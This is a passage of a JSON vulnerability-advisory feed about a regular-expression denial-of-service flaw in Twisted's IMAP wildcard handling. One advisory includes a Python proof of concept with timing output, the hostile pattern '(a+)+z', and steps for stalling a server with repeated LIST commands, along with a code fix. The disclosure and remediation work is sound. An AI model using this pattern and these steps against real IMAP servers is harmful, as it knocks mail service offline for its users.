twisted/mail/imap4.py translates the IMAP asterisk and percent wildcards but passes all other characters from an authenticated client\u0026apos;s LIST or LSUB pattern directly to re.compile(), allowing nested or otherwise expensive regular expression constructs to cause catastrophic backtracking when matched against mailbox names. Because Twisted uses a cooperative single-threaded reactor, the blocking match suspends all server input and output for the duration of the match. No fixed release is available as of this review.(CVE-2026-106454)","status":"published","published":"2026-10-22T14:35:02Z","modified":"2026-10-22T14:45:07.024811407Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:47.981622Z"},{"id":"PYSEC-2026-4304","title":"Twisted: IMAP wildcardToRegexp() ReDoS","description":"### Summary\n`wildcardToRegexp()` in `twisted/mail/imap4.py` converts IMAP LIST/LSUB wildcard patterns to Python regular expressions.  It substitutes the two IMAP wildcards (`*` → `(?:.*?)` and `%` → `(?:(?:[^\\\\/])*?)`) but passes every other character through unchanged to `re.compile()`.  This means that an authenticated IMAP client can send a quoted pattern string containing arbitrary regex syntax - including catastrophic-backtracking constructs such as `(a+)+z`.\n\nBecause Twisted runs a cooperative, single-threaded reactor, a blocking regex match freezes **all** I/O on the server for the duration of the match.\n\n---\n\n## Vulnerable Code\n\n### `twisted/mail/imap4.py`\n\n```python\n# line 4595\ndef wildcardToRegexp(wildcard, delim=None):\n    wildcard = wildcard.replace(\"*\", \"(?:.*?)\")\n    if delim is None:\n        wildcard = wildcard.replace(\"%\", \"(?:.*?)\")\n    else:\n        wildcard = wildcard.replace(\"%\", \"(?:(?:[^%s])*?)\" % re.escape(delim))\n    return re.compile(wildcard, re.I)   # ← user input compiled verbatim\n```\n\n```python\n# line 4993\nclass MemoryAccountWithoutNamespaces:\n    def listMailboxes(self, ref, wildcard):\n        ref = self._inferiorNames(_parseMbox(ref.upper()))\n        wildcard = wildcardToRegexp(wildcard, \"/\")   # ← user-supplied wildcard\n        return [(i, self.mailboxes[i]) for i in ref if wildcard.match(i)]\n```\n---\n\n### Proof of Concept\n\n```python\nfrom twisted.mail.imap4 import wildcardToRegexp\nimport time\n\nrx = wildcardToRegexp(\"(a+)+z\", \"/\")\nfor n in [20, 22, 24, 26, 28]:\n    victim = \"a\" * n\n    t0 = time.perf_counter()\n    rx.match(victim)\n    print(f\"n={n}: {time.perf_counter() - t0:.3f}s\")\n```\n\n**Output on Twisted 25.5.0:**\n\n```\n[*] Compiled regex: '(a+)+z'\n[*] Note: metacharacters ( ) + ? are NOT escaped - they go straight to re.compile()\n\n    n        time\n  ---  ----------\n   20       0.153s\n   22       0.651s\n   24       2.941s\n   26      14.545s\n   28      55.019s\n```\n\nTiming doubles roughly every two characters (exponential growth), confirming catastrophic backtracking.\n\n---\n\n## Impact\n\nTwisted's reactor is single-threaded and cooperative.  A blocking `re.match()` call suspends the entire event loop - no other connection can be accepted, read, or written while the match runs.  A single authenticated LIST command with a 28-character target mailbox name can stall the server for ~55 seconds.\n\nAn attacker who can register an account (or obtain credentials through other means) can:\n\n1. `CREATE` a mailbox whose name is an exponential-blowup trigger string.\n2. Issue `LIST \"\" \"(a+)+z\"` (or equivalent ReDoS pattern).\n3. Repeat at ~1-minute intervals to keep the server permanently unavailable.\n\nNo exploit code or special privileges beyond an IMAP login are required.\n\n---\n\n## Fix\n\nEscape non-wildcard characters before compiling:\n\n```python\ndef wildcardToRegexp(wildcard, delim=None):\n    # Split on the two IMAP wildcards, escape everything else\n    parts = re.split(r'([*%])', wildcard)\n    result = []\n    for p in parts:\n        if p == '*':\n            result.append('(?:.*?)')\n        elif p == '%':\n            if delim is None:\n                result.append('(?:.*?)')\n            else:\n                result.append('(?:(?:[^%s])*?)' % re.escape(delim))\n        else:\n            result.append(re.escape(p))   # ← escape all other characters\n    return re.compile(''.join(result), re.I)\n```\n\nAlternatively, apply `re.escape()` to the entire wildcard first, then substitute the (now-escaped) `\\*` and `\\%` tokens back with their regex equivalents.","status":"published","published":"2026-10-15T10:22:47.969401Z","modified":"2026-10-15T14:45:14.195795588Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-02T15:52:57.671918Z"},{"id":"UBUNTU-CVE-2026-106454","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. In 25.5.0 and earlier, wildcardToRegexp() in twisted/mail/imap4.py translates the IMAP asterisk and percent wildcards but passes all other characters from an authenticated client's LIST or LSUB pattern directly to re.compile(), allowing nested or otherwise expensive regular expression constructs to cause catastrophic backtracking when matched against mailbox names. Because Twisted uses a cooperative single-threaded reactor, the blocking match suspends all server input and output for the duration of the match. No fixed release is available as of this review.","status":"published","published":"2026-10-06T20:17:00Z","modified":"2026-11-05T11:45:34.925900827Z","cvss":[{"version":"3.1","score":4.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L","level":"medium"}],"updated_at":"2026-11-05T13:30:49.23793Z"},{"id":"AZL-106712","title":"CVE-2026-106454 affecting package python-twisted for versions less than 22.10.0-7","description":"Twisted is an event-based framework for internet applications, supporting Python 3.6+. In 25.5.0 and earlier, wildcardToRegexp() in twisted/mail/imap4.py translates the IMAP asterisk and percent wildcards but passes all other characters from an authenticated client's LIST or LSUB pattern directly to re.compile(), allowing nested or otherwise expensive regular expression constructs to cause catastrophic backtracking when matched against mailbox names. Because Twisted uses a cooperative single-threaded reactor, the blocking match suspends all server input and output for the duration of the match. No fixed release is available as of this review.","status":"published","published":"2026-10-06T20:17:27Z","modified":"2026-11-07T14:16:51.702358292Z","updated_at":"2026-11-07T14:48:11.583685Z"},{"id":"CLSA-2026-1791526134","title":"TuxCare security update for twisted (1 CVE)","description":"TuxCare rebuilt twisted to address 1 CVE. Fixed in 20.3.0.post6+tuxcare.","status":"published","published":"2026-10-09T06:08:54Z","modified":"2026-10-15T09:47:41.057343406Z","updated_at":"2026-11-02T15:43:50.599064Z"},{"id":"openSUSE-SU-2026:12137-1","title":"python-Twisted-doc-26.4.0-4.1 on GA media","description":"These are all security issues fixed in the python-Twisted-doc-26.4.0-4.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2026-10-14T00:00:00Z","modified":"2026-10-15T17:23:13.471204496Z","updated_at":"2026-11-02T16:58:40.245664Z"},{"id":"USN-9000-1","title":"twisted vulnerability","description":"It was discovered that Twisted's IMAP server mishandled wildcard\npatterns in mailbox list commands. An authenticated remote attacker\ncould possibly use this issue to cause Twisted to use excessive\nresources, leading to a denial of service.","status":"published","published":"2026-11-04T16:24:47Z","modified":"2026-11-05T11:58:19.129141193Z","updated_at":"2026-11-05T13:30:00.949926Z"}]}}
